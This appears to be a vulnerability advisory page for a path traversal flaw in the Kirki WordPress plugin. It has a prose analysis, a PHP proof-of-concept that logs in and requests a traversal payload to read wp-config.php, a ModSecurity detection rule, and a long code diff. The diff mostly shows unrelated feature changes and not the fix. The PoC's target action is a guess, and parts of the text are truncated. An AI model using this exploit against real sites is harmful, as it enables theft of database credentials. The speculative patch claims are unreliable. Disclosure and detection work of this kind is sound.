Published : August 15, 2026

CVE-2026-17604: Kirki <= 6.1.1 Authenticated (Editor+) Path Traversal to Arbitrary File Read via 'data' Parameter PoC, Patch Analysis & Rule

Plugin kirki
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 6.1.1
Patched Version 6.2.0
Disclosed August 14, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-17604:nnThis vulnerability allows authenticated attackers with editor-level access or above to read arbitrary files on the WordPress server. The flaw exists in the Kirki plugin, version 6.1.1 and earlier, in the handling of the ‘data’ parameter within certain AJAX or REST endpoints. The attack bypasses a strpos()-based directory traversal guard, permitting retrieval of sensitive files like wp-config.php. The CVSS score is 4.9, indicating a moderate severity issue.nnRoot Cause:nThe root cause is an ineffective path traversal protection in the code that processes the ‘data’ parameter. The guard uses strpos() to check if the provided path starts with the uploads directory base path. However, strpos() returns the position of a substring, not a prefix check. An attacker can craft a URL that includes the uploads base path as a substring, then embed traversal sequences (../) to escape to other directories. For example, a path like /wp-content/uploads/../../wp-config.php passes the strpos() check because it contains the uploads base path as a substring. The vulnerable code likely resides in an Ajax controller or service method that accepts this ‘data’ parameter and directly passes it to a file read function without proper canonicalization.nnExploitation:nAn authenticated user with editor capabilities can exploit this by sending a crafted request to the vulnerable endpoint. The specific endpoint and action names are not fully visible in the diff, but the attack would involve a request that passes the uploads base path as a substring while including traversal sequences. A payload might be: /wp-content/uploads/../../wp-config.php. By manipulating the ‘data’ parameter in this way, the attacker can read the contents of arbitrary files on the server, potentially exposing database credentials, API keys, and other sensitive data.nnPatch Analysis:nThe patch likely replaces the strpos()-based check with a robust path canonicalization and validation method, such as realpath() or a function that ensures the final resolved path stays within the allowed directory. The updated code would normalize the path, resolving any traversal sequences before validating the prefix. This prevents the bypass by ensuring that only paths that actually begin with the uploads directory are accepted. The patched code also introduces additional security checks, such as verifying the resolved path with a realpath() comparison.nnImpact:nIf exploited, an attacker with editor-level access can read arbitrary files on the server. This includes configuration files like wp-config.php, which contain database credentials, authentication keys, and other sensitive information. The exposure of these files could lead to full site compromise, unauthorized database access, and potentially remote code execution if additional vulnerabilities are chained. The severity is moderate due to the requirement of authenticated access, but the impact is high.”,
“poc_php”: “ $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => ‘https://example.com/wp-admin/’,n ‘testcookie’ => ‘1’n)));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_exec($ch);ncurl_close($ch);nn// The vulnerable action; needs to be confirmed but likely ‘kirki_import’ or similar.n// The ‘data’ parameter will contain the path traversal payload.n$data = array(n ‘data’ => ‘/wp-content/uploads/../../wp-config.php’,n ‘action’ => ‘kirki_import’ // Example action, adjust based on actual plugin coden);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nn// The response may contain the contents of wp-config.php if exploitation is successfulnif (strpos($response, ‘DB_PASSWORD’) !== false) {n echo “[+] Vulnerability exploited: File contents retrieved.\n”;n echo “[+] Data:\n” . $response . “\n”;n} else {n echo “[-] Exploitation failed or file not readable.\n”;n}n?>”,
“modsecurity_rule”: “SecRule REQUEST_URI “@rx ^/wp-json/kirki/v\d+/[a-z_]+$” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-17604 via Kirki REST API‘,severity:’CRITICAL’,tag:’CVE-2026-17604′”n SecRule ARGS:data “@rx (../|.\./|.\./\.\./|\.\.\/|\.\./|.\.\/\.\.\/)” “chain”n SecRule ARGS:data “@rx /wp-content/uploads” “chain”n SecRule ARGS:data “@rx \.\\.\.\/” “chain”n SecRule REQUEST_METHOD “@streq POST””
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/app/Constants/Form/FormActionTypes.php
+++ b/kirki/app/Constants/Form/FormActionTypes.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported form-submission action types.
+ *
+ * These values mirror the `type` key stored on each entry of a form's
+ * `actions` configuration.
+ */
+class FormActionTypes
+{
+    use HasConstants;
+
+    const EMAIL = 'email';
+    const WEBHOOK = 'webhooks';
+}
--- a/kirki/app/Constants/Form/FormEmailBodyPartTypes.php
+++ b/kirki/app/Constants/Form/FormEmailBodyPartTypes.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported part types for a composed email action body.
+ *
+ * These values mirror the `type` key stored on each entry of an email
+ * action's `body` configuration.
+ */
+class FormEmailBodyPartTypes
+{
+    use HasConstants;
+
+    const TEXT = 'text';
+    const FORM = 'form';
+}
--- a/kirki/app/Constants/Form/FormFieldTypes.php
+++ b/kirki/app/Constants/Form/FormFieldTypes.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported input types for a submittable form field.
+ *
+ * These values mirror the `type` key stored on each entry of a form's
+ * `fields` configuration.
+ */
+class FormFieldTypes
+{
+    use HasConstants;
+
+    const EMAIL = 'email';
+    const NUMBER = 'number';
+    const TEL = 'tel';
+    const DATE = 'date';
+    const DATETIME_LOCAL = 'datetime-local';
+    const FILE = 'file';
+}
--- a/kirki/app/Constants/Form/FormWebhookMethods.php
+++ b/kirki/app/Constants/Form/FormWebhookMethods.php
@@ -0,0 +1,21 @@
+<?php
+
+namespace KirkiAppConstantsForm;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkConcernsHasConstants;
+
+/**
+ * Supported HTTP methods for a webhook action.
+ *
+ * These values mirror the `method` key stored on a form's `webhooks` action
+ * configuration.
+ */
+class FormWebhookMethods
+{
+    use HasConstants;
+
+    const GET = 'get';
+    const POST = 'post';
+}
--- a/kirki/app/Constants/OptionKeys.php
+++ b/kirki/app/Constants/OptionKeys.php
@@ -14,4 +14,5 @@
     const GLOBAL_DATA_POST_TYPE_ID = 'KIRKI_GLOBAL_DATA_POST_TYPE_ID';
     const DROIP_GLOBAL_DATA_POST_TYPE_ID = 'DROIP_GLOBAL_DATA_POST_TYPE_ID'; // @todo: will be removed if not needed
     const PAGE_ON_FRONT = 'page_on_front';
+    const WP_ADMIN_COMMON_DATA = 'kirki_wp_admin_common_data';
 }
--- a/kirki/app/Constants/PageMetaKeys.php
+++ b/kirki/app/Constants/PageMetaKeys.php
@@ -59,6 +59,10 @@

     const UTILITY_PAGE_TYPE = 'kirki_utility_page_type';

+    const CONTENT_MANAGER_COLLECTION_ID = 'kirki_content_manager_collection_id';
+
+    const CONTENT_MANAGER_PAGE_KIND = 'kirki_content_manager_page_kind';
+
     const PAGE_TEMPLATE = '_wp_page_template';

     /**
@@ -80,6 +84,8 @@
             static::TEMPLATE_CONDITIONS,
             static::TEMPLATE_COLLECTION_TYPE,
             static::UTILITY_PAGE_TYPE,
+            static::CONTENT_MANAGER_COLLECTION_ID,
+            static::CONTENT_MANAGER_PAGE_KIND,
             static::BLOCKS,
             static::STYLE_BLOCKS,
             static::USED_FONT_LIST,
--- a/kirki/app/Constants/UserMetaKeys.php
+++ b/kirki/app/Constants/UserMetaKeys.php
@@ -11,4 +11,9 @@
     use HasConstants;

     const CAPABILITIES = 'wp_capabilities';
+
+    /**
+     * @see KIRKI_USER_WALKTHROUGH_SHOWN_META_KEY
+     */
+    const WALKTHROUGH_SHOWN_STATE = 'user_walkthrough_shown_state';
 }
--- a/kirki/app/Contracts/FormActionHandler.php
+++ b/kirki/app/Contracts/FormActionHandler.php
@@ -0,0 +1,30 @@
+<?php
+
+namespace KirkiAppContracts;
+
+use Exception;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOFormFormConfigDTO;
+
+/**
+ * A single form-submission action channel (email, webhook, mail client, ...).
+ *
+ * Each handler runs one configured action of its type. The dispatcher routes
+ * actions by type, so handlers stay fully independent — a new or changed
+ * handler can never break another.
+ */
+interface FormActionHandler
+{
+    /**
+     * Run a single configured action for the given submission.
+     *
+     * @param array         $action      A single configured action of this handler's type.
+     * @param array         $form_data   The submission data.
+     * @param FormConfigDTO $form_config The form configuration.
+     * @return bool Whether it succeeded. Fire-and-forget channels return true.
+     * @throws Exception on error
+     */
+    public function handle(array $action, array $form_data, FormConfigDTO $form_config);
+}
--- a/kirki/app/DTO/Collection/UpsertCollectionDTO.php
+++ b/kirki/app/DTO/Collection/UpsertCollectionDTO.php
@@ -15,6 +15,9 @@
     /** @var string */
     public $post_name;

+    /** @var string|null */
+    public $preset_type;
+
     /** @var array */
     public $fields;

--- a/kirki/app/DTO/Form/FormConfigDTO.php
+++ b/kirki/app/DTO/Form/FormConfigDTO.php
@@ -0,0 +1,54 @@
+<?php
+
+namespace KirkiAppDTOForm;
+
+use KirkiFrameworkSanitizer;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkDTO;
+
+class FormConfigDTO extends DTO
+{
+    /** @var string The form element's builder id. */
+    public $id;
+
+    /** @var string Whether the form posts to this site ('default') or an external URL ('external'). Not used server-side. */
+    public $type;
+
+    /** @var string */
+    public $name;
+
+    /** @var array */
+    public $fields = [];
+
+    /** @var array */
+    public $actions = [];
+
+    /** @var array Client-side "what to show after submit" config. Not used server-side. */
+    public $onSubmit = [];
+
+    /** @var array */
+    public $maxEntry = [];
+
+    /** @var array */
+    public $responseLimit = [];
+
+    /** @var bool */
+    public $saveData = false;
+
+    public function __construct(array $data = [])
+    {
+        parent::__construct($data);
+
+        $this->id = (string) $this->id;
+        $this->type = (string) $this->type;
+        $this->name = (string) $this->name;
+        $this->fields = is_array($this->fields) ? $this->fields : [];
+        $this->actions = is_array($this->actions) ? $this->actions : [];
+        $this->onSubmit = is_array($this->onSubmit) ? $this->onSubmit : [];
+        $this->maxEntry = is_array($this->maxEntry) ? $this->maxEntry : [];
+        $this->responseLimit = is_array($this->responseLimit) ? $this->responseLimit : [];
+        $this->saveData = Sanitizer::apply_rule($this->saveData, Sanitizer::BOOL);
+    }
+}
--- a/kirki/app/DTO/Page/PageFilterDTO.php
+++ b/kirki/app/DTO/Page/PageFilterDTO.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace KirkiAppDTOPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsPostStatus;
+use KirkiAppConstantsPostTypes;
+use KirkiFrameworkDTO;
+
+class PageFilterDTO extends DTO
+{
+    /** @var string search param */
+    public $query;
+
+    /** @var int page number */
+    public $current_page = 1;
+
+    /** @var int number of posts per page */
+    public $limit = 20;
+
+    /** @var string[] post types */
+    public $post_types = [PostTypes::WP_PAGE];
+
+    /** @var int[] exclude page ids */
+    public $exclude_page_ids = [];
+
+    /** @var string[] */
+    public $post_statuses = [
+        PostStatus::PUBLISH,
+        PostStatus::DRAFT
+    ];
+}
 No newline at end of file
--- a/kirki/app/DTO/Page/PagePayloadDTO.php
+++ b/kirki/app/DTO/Page/PagePayloadDTO.php
@@ -28,4 +28,10 @@

     /** @var array|null */
     public $custom_template;
-}
 No newline at end of file
+
+    /** @var int|null */
+    public $content_manager_collection_id;
+
+    /** @var string|null */
+    public $content_manager_page_kind;
+}
--- a/kirki/app/FormActions/Actions/EmailActionHandler.php
+++ b/kirki/app/FormActions/Actions/EmailActionHandler.php
@@ -0,0 +1,170 @@
+<?php
+
+namespace KirkiAppFormActionsActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsFormFormEmailBodyPartTypes;
+use KirkiAppContractsFormActionHandler;
+use KirkiAppDTOFormFormConfigDTO;
+
+/**
+ * Sends a form submission over email, for a single configured `email` action.
+ */
+class EmailActionHandler implements FormActionHandler
+{
+    public function handle(array $action, array $form_data, FormConfigDTO $form_config)
+    {
+        $this->register_shortcodes($action, $form_data); //@todo: maybe we can implement this without wp shortcodes but a different approach as current implementation might collide with other shortcodes registered
+
+        return $this->send_single_email_action($action, $form_data, $form_config->name);
+    }
+
+    /**
+     * Register shortcodes referenced by the email action's fields.
+     *
+     * @param array $action
+     * @param array $form_data
+     * @return void
+     */
+    protected function register_shortcodes($action, $form_data)
+    {
+        $this->register_shortcodes_from_field($action['emailList'] ?? '', $form_data);
+        $this->register_shortcodes_from_field($action['replyTo'] ?? '', $form_data);
+        $this->register_shortcodes_from_field($action['name'] ?? '', $form_data);
+        $this->register_shortcodes_from_field($action['subject'] ?? '', $form_data);
+
+        add_shortcode(
+            'admin_email',
+            function () {
+                return get_option('admin_email');
+            }
+        );
+    }
+
+    /**
+     * Register shortcodes referenced in a single email action field.
+     *
+     * @param string $field_value The field value containing shortcodes.
+     * @param array  $form_data   The form data to use for shortcode values.
+     * @return void
+     */
+    protected function register_shortcodes_from_field($field_value, $form_data)
+    {
+        if (empty($field_value)) {
+            return;
+        }
+
+        $regex = '/[([^]]+)]/';
+        preg_match_all($regex, $field_value, $matches);
+
+        foreach (($matches[1] ?? []) as $match) {
+            if (isset($form_data[$match])) {
+                add_shortcode($match, fn() => $form_data[$match]);
+            }
+        }
+    }
+
+    /**
+     * Send a single email action.
+     *
+     * @param array  $email_action Email action configuration.
+     * @param array  $form_data    Form data.
+     * @param string $form_name    Form name.
+     * @return bool
+     */
+    protected function send_single_email_action($email_action, $form_data, $form_name)
+    {
+        $body = $this->convert_form_data_into_html_for_email($form_data);
+        $reply_to = '';
+        $name = '';
+        $subject = 'New ' . $form_name;
+        $header = [];
+
+        if (isset($email_action['body']) && is_array($email_action['body'])) {
+            $body = $this->build_email_body($email_action['body'], $form_data);
+        }
+
+        if (isset($email_action['replyTo'])) {
+            $reply_to = do_shortcode($email_action['replyTo']);
+        }
+
+        if (isset($email_action['name'])) {
+            $name = do_shortcode($email_action['name']);
+        }
+
+        if (isset($email_action['subject'])) {
+            $subject = do_shortcode($email_action['subject']);
+        }
+
+        if (strlen($reply_to) > 0 && strlen($name) > 0) {
+            $header = ['Reply-To: ' . $name . ' <' . $reply_to . '>'];
+        }
+
+        if (isset($email_action['emailList']) && !empty($email_action['emailList'])) {
+            return $this->send_email_notification(do_shortcode($email_action['emailList']), $subject, $body, $header);
+        }
+
+        return false;
+    }
+
+    /**
+     * Build the email body from a body configuration.
+     *
+     * @param array $body_config Body configuration.
+     * @param array $form_data   Form data.
+     * @return string Email body HTML.
+     */
+    protected function build_email_body($body_config, $form_data)
+    {
+        $body_parts = [];
+
+        foreach ($body_config as $body_data) {
+            if (!isset($body_data['type'], $body_data['value'])) {
+                continue;
+            }
+
+            if ($body_data['type'] === FormEmailBodyPartTypes::TEXT) {
+                $body_parts[] = $body_data['value'];
+            } elseif ($body_data['type'] === FormEmailBodyPartTypes::FORM && isset($form_data[$body_data['value']])) {
+                $body_parts[] = $form_data[$body_data['value']];
+            }
+        }
+        return nl2br(implode('', $body_parts));
+    }
+
+    /**
+     * Convert form data into an HTML list for email.
+     *
+     * @param array $form_data Form data.
+     * @return string
+     */
+    protected function convert_form_data_into_html_for_email($form_data = [])
+    {
+        $html = '<ul>';
+
+        if (is_array($form_data)) {
+            foreach ($form_data as $key => $value) {
+                $html .= '<li>' . esc_html($key) . ': ' . esc_html($value) . '</li>';
+            }
+        }
+
+        $html .= '</ul>';
+        return $html;
+    }
+
+    /**
+     * Send an email notification.
+     *
+     * @param string|string[] $to      Address(es) to send to.
+     * @param string          $subject Email subject.
+     * @param string          $message Message contents.
+     * @param array           $headers Email headers.
+     * @return bool
+     */
+    protected function send_email_notification($to, $subject, $message, $headers = [])
+    {
+        $headers[] = 'Content-Type: text/html; charset=UTF-8';
+        return wp_mail($to, $subject, $message, $headers);
+    }
+}
--- a/kirki/app/FormActions/Actions/WebhookActionHandler.php
+++ b/kirki/app/FormActions/Actions/WebhookActionHandler.php
@@ -0,0 +1,69 @@
+<?php
+
+namespace KirkiAppFormActionsActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppConstantsFormFormWebhookMethods;
+use KirkiAppContractsFormActionHandler;
+use KirkiAppDTOFormFormConfigDTO;
+use KirkiFrameworkSupportsFacadesHttp;
+
+/**
+ * Delivers a submission to a single configured webhook endpoint.
+ *
+ * Unlike the other channels, a webhook transport failure marks the whole
+ * submission as failed, so this is the only handler whose return value can be
+ * false.
+ */
+class WebhookActionHandler implements FormActionHandler
+{
+    public function handle(array $webhook, array $form_data, FormConfigDTO $form_config)
+    {
+        if (!isset($webhook['action'], $webhook['method'])) {
+            return false;
+        }
+
+        if ($webhook['method'] === FormWebhookMethods::GET) {
+            return $this->send_get($webhook['action'], $form_data);
+        }
+
+        if ($webhook['method'] === FormWebhookMethods::POST) {
+            return $this->send_post($webhook['action'], $form_data);
+        }
+
+        return false;
+    }
+
+    /**
+     * Send a GET webhook request.
+     *
+     * @param string $url       Webhook URL.
+     * @param array  $form_data Form data.
+     * @return bool Success status.
+     */
+    protected function send_get($url, $form_data)
+    {
+        $query_string = http_build_query($form_data);
+        $url = rtrim($url, '/');
+        $url .= '/';
+
+        $response = Http::get($url . '?' . $query_string);
+
+        return $response->status() !== 0;
+    }
+
+    /**
+     * Send a POST webhook request.
+     *
+     * @param string $url       Webhook URL.
+     * @param array  $form_data Form data.
+     * @return bool Success status.
+     */
+    protected function send_post($url, $form_data)
+    {
+        $response = Http::as_form()->post($url, $form_data);
+
+        return $response->status() !== 0;
+    }
+}
--- a/kirki/app/FormActions/FormActionDispatcher.php
+++ b/kirki/app/FormActions/FormActionDispatcher.php
@@ -0,0 +1,58 @@
+<?php
+
+namespace KirkiAppFormActions;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOFormFormConfigDTO;
+
+use function KirkiFrameworkapp;
+
+/**
+ * Routes each configured form action to the handler registered for its type.
+ *
+ * Only the types a submission actually configures are resolved, so a form that
+ * uses one action type never instantiates the others' handlers.
+ */
+class FormActionDispatcher
+{
+    /**
+     * @var array<string, class-string> Action type => handler class.
+     */
+    protected $handler_map;
+
+    /**
+     * @param array<string, class-string> $handler_map Action type => handler class.
+     */
+    public function __construct(array $handler_map)
+    {
+        $this->handler_map = $handler_map;
+    }
+
+    /**
+     * Dispatch every configured action to its handler.
+     *
+     * @param array         $form_data   The submission data.
+     * @param FormConfigDTO $form_config The form configuration.
+     * @return bool Whether every dispatched action succeeded.
+     * @throws Exception on error
+     */
+    public function dispatch(array $form_data, FormConfigDTO $form_config)
+    {
+        $success = true;
+        $handlers = [];
+
+        foreach ($form_config->actions as $action) {
+            $type = $action['type'] ?? null;
+
+            if (!$type || !isset($this->handler_map[$type])) {
+                continue;
+            }
+
+            $handler = $handlers[$type] ?? ($handlers[$type] = app($this->handler_map[$type]));
+            $success = $handler->handle($action, $form_data, $form_config) && $success;
+        }
+
+        return $success;
+    }
+}
--- a/kirki/app/Http/Controllers/Api/CollaborationController.php
+++ b/kirki/app/Http/Controllers/Api/CollaborationController.php
@@ -0,0 +1,42 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiAppDTOCollaborationCreateCollaborationDTO;
+use KirkiAppHttpRequestsCollaborationRequest;
+use KirkiAppServicesCollaborationService;
+
+use function KirkiFrameworkcollection;
+use function KirkiFrameworkresponse;
+
+class CollaborationController
+{
+
+    /**
+     * @var CollaborationService
+     */
+    protected $service;
+
+    public function __construct(CollaborationService $service)
+    {
+        $this->service = $service;
+    }
+
+    public function save_actions(CollaborationRequest $request)
+    {
+        $payload = collection($request->array('data', []))->map(function ($data) use ($request) {
+            return CreateCollaborationDTO::from_array([
+                'session_id' => $request->string('session_id'),
+                'parent' => $data['parent'] ?? '',
+                'parent_id' => $data['parent_id'] ?? 0,
+                'data' => $data['action'] ?? [],
+            ]);
+        });
+
+        return response()->json([
+            'data' => $this->service->save_actions($payload),
+        ]);
+    }
+}
 No newline at end of file
--- a/kirki/app/Http/Controllers/Api/CollectionController.php
+++ b/kirki/app/Http/Controllers/Api/CollectionController.php
@@ -100,13 +100,13 @@
     {
         $is_valid = ContentManager::validate_slug(
             $request->int('post_id', 0),
-            $request->string('post_type'),
-            $request->string('post_name')
+            $request->string('post_type', ''),
+            $request->string('post_name', '')
         );

         return response()->json([
             'data' => $is_valid,
-            'message' => __('Slug validated successfully.', 'kirki'),
+            'message' => $is_valid ? __('Slug validated successfully..', 'kirki') : __('Slug is not available.', 'kirki'),
         ]);
     }
 }
--- a/kirki/app/Http/Controllers/Api/EditorController.php
+++ b/kirki/app/Http/Controllers/Api/EditorController.php
@@ -24,7 +24,7 @@

     public function back_to_kirki_editor(Request $request)
     {
-        $page = PageModel::find($request->int('postId'));
+        $page = PageModel::exclude_trash()->find($request->int('postId'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -41,7 +41,7 @@

     public function back_to_wordpress_editor(Request $request)
     {
-        $page = PageModel::find($request->int('postId'));
+        $page = PageModel::exclude_trash()->find($request->int('postId'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
--- a/kirki/app/Http/Controllers/Api/FormController.php
+++ b/kirki/app/Http/Controllers/Api/FormController.php
@@ -0,0 +1,46 @@
+<?php
+
+namespace KirkiAppHttpControllersApi;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiAppServicesFormSubmissionService;
+use function KirkiFrameworkresponse;
+
+/**
+ * Handles front-end form submissions.
+ *
+ * Route: POST /kirki/v1/frontend/form (public).
+ */
+class FormController
+{
+	/**
+	 * @var FormSubmissionService
+	 */
+	protected $service;
+
+	/**
+	 * @param FormSubmissionService $service
+	 */
+	public function __construct(FormSubmissionService $service)
+	{
+		$this->service = $service;
+	}
+
+	/**
+	 * Store a form submission.
+	 *
+	 * @param Request $request The submission request.
+	 * @return KirkiFrameworkHttpJsonResponse
+	 */
+	public function store(Request $request)
+	{
+		$result = $this->service->handle($request->all(), $request->all_files());
+
+		return response()->json([
+			'data' => $result,
+			'message' => __('Form submitted successfully.', 'kirki'),
+		]);
+	}
+}
--- a/kirki/app/Http/Controllers/Api/PageController.php
+++ b/kirki/app/Http/Controllers/Api/PageController.php
@@ -9,17 +9,23 @@
 use KirkiAppDTOPageEditorPagePayloadDTO;
 use KirkiAppDTOPageEditPageDTO;
 use KirkiAppDTOPageEditPopupDTO;
+use KirkiAppDTOPagePageFilterDTO;
 use KirkiAppDTOPagePagePayloadDTO;
 use KirkiAppDTOPageTogglePageSymbolDTO;
+use KirkiAppHttpRequestsCollectionItemCollectionItemConditionRequest;
 use KirkiAppHttpRequestsPagePageDataRequest;
 use KirkiAppHttpRequestsPagePageRequest;
 use KirkiAppHttpRequestsPagePageUpdateRequest;
 use KirkiAppHttpRequestsPagePopupRequest;
+use KirkiAppHttpRequestsPageRenameStagingVersionRequest;
+use KirkiAppHttpRequestsPageStagingVersionRequest;
 use KirkiAppHttpRequestsPageTogglePageSymbolRequest;
 use KirkiAppModelsPage as PageModel;
+use KirkiAppModelsPost as PostModel;
 use KirkiAppResourcesPageContentResource;
 use KirkiAppResourcesPageResource;
 use KirkiAppServicesPageService;
+use KirkiAppSupportsCollectionItem;
 use KirkiAppSupportsFacadesPage;
 use KirkiFrameworkHttpRequest;
 use KirkiFrameworkHttpResponse;
@@ -50,7 +56,7 @@

     public function save_page_data(PageDataRequest $request, int $page_id, string $page_content_type)
     {
-        $page = PageModel::find($page_id);
+        $page = PageModel::exclude_trash()->find($page_id);

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -68,7 +74,7 @@
         ], Response::OK);
     }

-    public function publish_staging_version(Request $request)
+    public function get_all_staged_versions(Request $request)
     {
         $page = PageModel::find($request->int('page_id'));

@@ -77,14 +83,72 @@
         }

         return response()->json([
+            'data' => Page::get_all_staged_versions($page->ID, false),
+        ], Response::OK);
+    }
+
+    public function publish_staging_version(Request $request)
+    {
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
             'data' => Page::publish_stage_version($page->ID),
             'message' => __('Staging version published successfully.', 'kirki'),
         ], Response::OK);
     }

+    public function rename_staging_version(RenameStagingVersionRequest $request)
+    {
+        $page = PageModel::find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => Page::rename_stage_version($page->ID, $request->int('version_id'), $request->string('name')),
+            'message' => __('Staging version renamed successfully.', 'kirki'),
+        ], Response::OK);
+    }
+
+    public function restore_staging_version(StagingVersionRequest $request)
+    {
+        $page = PageModel::find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => [
+                'new_version' => Page::restore_stage_version($page->ID, $request->int('version_id')),
+                'versions' => Page::get_all_staged_versions($page->ID, false),
+            ],
+            'message' => __('Staging version renamed successfully.', 'kirki'),
+        ], Response::OK);
+    }
+
+    public function remove_staging_version(StagingVersionRequest $request)
+    {
+        $page = PageModel::find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => Page::remove_stage_version($page->ID, $request->int('version_id')),
+            'message' => __('Staging version removed successfully.', 'kirki'),
+        ], Response::OK);
+    }
+
     public function update(PageUpdateRequest $request, int $page_id)
     {
-        $page = PageModel::find($page_id);
+        $page = PageModel::exclude_trash()->find($page_id);

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -102,7 +166,7 @@

     public function update_popup(PopupRequest $request, int $popup_id)
     {
-        $popup = PageModel::find($popup_id);
+        $popup = PageModel::exclude_trash()->find($popup_id);

         if (empty($popup) || $popup->post_type !== PostTypes::POPUP) {
             throw new Exception(esc_html__('Popup not found.', 'kirki'), Response::NOT_FOUND);
@@ -120,7 +184,7 @@

     public function toggle_disabled_page_symbols(TogglePageSymbolRequest $request)
     {
-        $page = PageModel::find($request->int('post_id'));
+        $page = PageModel::exclude_trash()->find($request->int('post_id'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -139,7 +203,7 @@

     public function duplicate(Request $request)
     {
-        $page = PageModel::find($request->int('page_id'));
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -153,7 +217,7 @@

     public function delete(Request $request)
     {
-        $page = PageModel::find($request->int('page_id'));
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));

         if (empty($page)) {
             throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
@@ -169,6 +233,71 @@
         ]);
     }

+    public function paginated(Request $request)
+    {
+        $filter_dto = PageFilterDTO::from_array([
+            'query' => $request->string('query'),
+            'current_page' => $request->int('page', 1),
+            'limit' => $request->int('numberposts', 20),
+            'post_types' => $request->array('post_types', []),
+            'exclude_page_ids' => $request->array('exclude_post_ids', []),
+        ]);
+
+        return response()->json([
+            'data' => PageResource::paginated($this->service->paginated($filter_dto)),
+        ]);
+    }
+
+    public function page_panel_pages(Request $request)
+    {
+        $filter_dto = PageFilterDTO::from_array([
+            'query' => $request->string('query'),
+            'current_page' => $request->int('page', 1),
+            'limit' => $request->int('numberposts', 20),
+            'post_types' => $request->array('post_types', [PostTypes::WP_PAGE]),
+        ]);
+
+        return response()->json([
+            'data' => PageResource::paginated($this->service->paginated($filter_dto)),
+        ]);
+    }
+
+    public function get_wp_single_post(Request $request)
+    {
+        $post = PostModel::exclude_trash()->find($request->int('post_id'));
+
+        if (empty($post)) {
+            throw new Exception(esc_html__('Post not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => $post,
+        ]);
+    }
+
+    public function get_current_page(Request $request)
+    {
+        $page = PageModel::exclude_trash()->find($request->int('page_id'));
+
+        if (empty($page)) {
+            throw new Exception(esc_html__('Page not found.', 'kirki'), Response::NOT_FOUND);
+        }
+
+        return response()->json([
+            'data' => PageResource::make($page),
+        ]);
+    }
+
+    public function get_data_list_for_template_edit_search_flyout(CollectionItemConditionRequest $request)
+    {
+        $query = $request->string('query', '');
+        $conditions = $request->array('conditions', []);
+
+        return response()->json([
+            'data' => CollectionItem::get_items_from_condition($conditions, $query)['data'] ?? [],
+        ]);
+    }
+
     public function get_page_content(Request $request)
     {
         $page = PageModel::find($request->int('page_id'));
--- a/kirki/app/Http/Controllers/Api/PageSettingsController.php
+++ b/kirki/app/Http/Controllers/Api/PageSettingsController.php
@@ -27,7 +27,7 @@

     public function update_page_settings(PageSettingsRequest $request, int $page_id)
     {
-        $page = PageModel::find($page_id);
+        $page = PageModel::exclude_trash()->find($page_id);

         if (empty($page)) {
